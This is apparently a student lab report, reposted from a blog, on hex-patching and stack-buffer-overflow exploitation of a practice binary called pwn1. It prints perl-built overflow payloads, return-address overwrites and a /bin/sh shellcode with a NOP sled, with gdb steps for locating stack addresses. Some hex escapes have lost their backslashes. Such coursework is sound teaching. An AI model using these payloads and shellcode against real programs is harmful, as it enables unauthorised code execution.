2019-2020-2 20174303刘金晖 Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

(一)实践目标

  • 对象:一个名为pwn1linux可执行文件。
  • 流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 目的:该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。  
  • 三个实践内容如下
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode
  • 对应现实情况中的攻击目标:
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

(二)基础知识

  • 熟悉linuxi基本操作
    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理

    • 能看得懂汇编、机器指令、EIP、指令地址
  • 会使用gdb,vi。
  • 指令、参数
    • 具体运用可以及时查询,明确思路,明确自己做的每一步的原理,并及时验证
  • 机器码
    • NOP机器码 90。
    • JNE机器码 75
    • JE机器码 74
    • CMP reg16/mem16,reg16 机器码 39
    • CMP reg8,reg8/mem8 机器码 3A
    • CMP reg16,reg16/mem16 机器码 3B
    • CMP al,immed8 机器码 3C
    • CMP ax,immed16 机器码 3D
    • JMP rel8相对短跳转,机器码 EB
    • JMP rel16相对跳转,机器码 E9
    • JMP r/m16绝对跳转,机器码 FF
    • JMP r/m32绝对跳转,机器码 FF
    • JMP ptr1 6:16远距离绝对跳转,机器码 EA
    • JMP ptr1 6:32远距离绝对跳转,机器码 EA
    • JMP m16:16远距离绝对跳转,机器码 FF
    • JMP m16:32远距离绝对跳转,机器码 FF

二、实验任务

(一)直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术

  • 步骤:
    • 下载目标文件pwn1,用 objdump -d pwn1 | more 反汇编程序。

     

      • 如图,main函数中汇编指令 call 8048491  调用地址为 8048491 的 foo 函数。
      • 对应的机器指令为 e8 d7ffffff 。此时EIP存放的是下条指令的地址 80484ba , e8 是跳转之意,因此CPU转而执行地址为 EIP + d7ffffff 的指令, 80484ba +  d7ffffff= 80484ba-0x29=8048491 ,调用 foo 函数。
      • 由此可得,想要调用 getshell ,只需修改机器指令,让CPU执行地址为 804847D 指令即可。使用windows计算器可得 47d-4ba 的补码为 c3ffffff 。因此,我们秩序将call指令的目标地址由 d7ffffff 改为 c3ffffff ,即可实现实验目标。
    • 修改可执行文件
      • 输入 cp pwn1 pwn4 ,备份文件
      • 输入vi pwn4 ,编辑文件。如图。

     

      • 按ESC键,输入 :%!xxd ,转换为16进制。
      • 输入 /e8d7 ,查找要修改的内容。

    

      • 修改d7c3 .

    

      • 输入 :%!xxd -r 转换16进制为原格式。
      • 输入 :wq 存盘退出。
    • 验证
      • 反汇编,查看call指令是否正确调用getshell函数。

    

      • 运行改之后的代码,得到shell提示符。

    

(二)通过构造输入参数,造成BOF攻击,改变程序执行流

  • 原理:我们的目标是触发getshell函数,该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。  

    

    • 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,当我们输入过多的字符时,多余的字符就会覆盖掉原本留存在eip寄存器中的数值。通过计算字符串可以做到将想要的内存地址覆盖eip寄存器的值,从而跳转会转到目标函数getshell。
  • 具体步骤:
    • 输入 apt-get install gdb 安装调试功能。
    • 输入 gdb pwn4303 进入调试,输入r后,试着输入字符,确认输入字符串哪几个字符会覆盖到返回地址。

    

      • 如图, 0x35353535 是5555的ASCII码16进制的值; 0x34333231 是1234ASCII码16进制的值.由此可得:输入字符串的33-36字符覆盖到返回地址因此,只需将这4个字符替换为 getshell 的内存地址,输给pwn4303,pwn4303就会运行 getshell.
    • 确认用什么值并进行构造来覆盖返回地址
      • 由之前的调试可得:想要跳转到调用getshell(即跳转到x7dx84x04x08),我们需要输入的就是 11111111222222223333333344444444x7dx84x04x08 。
    • 构造输入字符串
      • 由于有些要改写的字符串x7dx84x04x08的ASCII值里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。可以使用16进制查看指令xxd查看input文件的内容是否如预期。
      • 然后将input的输入,通过管道符“|”,作为文件的输入。

    

     实验成功。

(三)注入Shellcode并执行

  1. 准备一段Shellcode
  • shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

  • 以下实践即使用该文章中生成的shellcode。如下:
    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

  2.准备工作

  • 输入 apt-get install prelink 安装设置堆栈的库并进行相应设置。
  • 修改设置。

    

  3.构造payload

  • 原理:我们这个buf结构为:nops+shellcode+retaddrnop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
  • 具体步骤:
    • 输入 perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode ,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。
    • 在终端1中注入这一段攻击(cat input_shellcode;cat) | ./pwn174303

    

    • 打开终端2输入 ps -ef | grep pwn03 进行调试pwn03
    • 发现进程号为3472

    

    • 启动gdb调试进程
    • 输入attach 3472调试这个进程

    

    • 利用 break *0x080484ae设置断点,来查看注入buf的内存地址 
    • 回到终端1,回车

    

    • 回到终端2,输入c,继续。
    • 输入指令 info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据。
    • 再输 x/16x 0xffffd6dc 查看指针指向的内容。

    

    • x4x3x2x1在栈顶,就是返回地址的位置。因此shellcode的首地址为 0xffffd6ac+4=0xffffd6b0
    • 修改shellcode
      perl -e 'print "A" x 32;print "xb0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • 进行注入 (cat input_shellcode;cat) | ./pwn03 ,成功。

    

三、实验总结

  1. 实验收获与感想
  • 本次实验收获很多。首先,熟悉了很多linux的基本操作。在实践过程中也对缓冲区溢出,堆栈结构有了进一步的理解和体会。
  • 在实验过程中,出现了很多问题,花费了大量的时间完成,体会到了自己的不足,实践能力差,知识薄弱,也对自己敲响了警钟,还有很多需要学习,能力还需要加强。今后在学习过程中应该多了解,多利用网上资源学习相关知识。

  2.什么是漏洞?漏洞有什么危害?

  • 我认为漏洞是一个程序或者应用可能被攻击的点,有缺陷、有被攻击风险的地方。
  • 漏洞可能会导致应用崩溃,造成财产损失,病毒传播,信息泄露,个人隐私和国家安全遭到破坏,还可能造成不可挽回的信息丢失等。

  

    

  

原文地址:https://www.cnblogs.com/4303ljh/p/12510449.html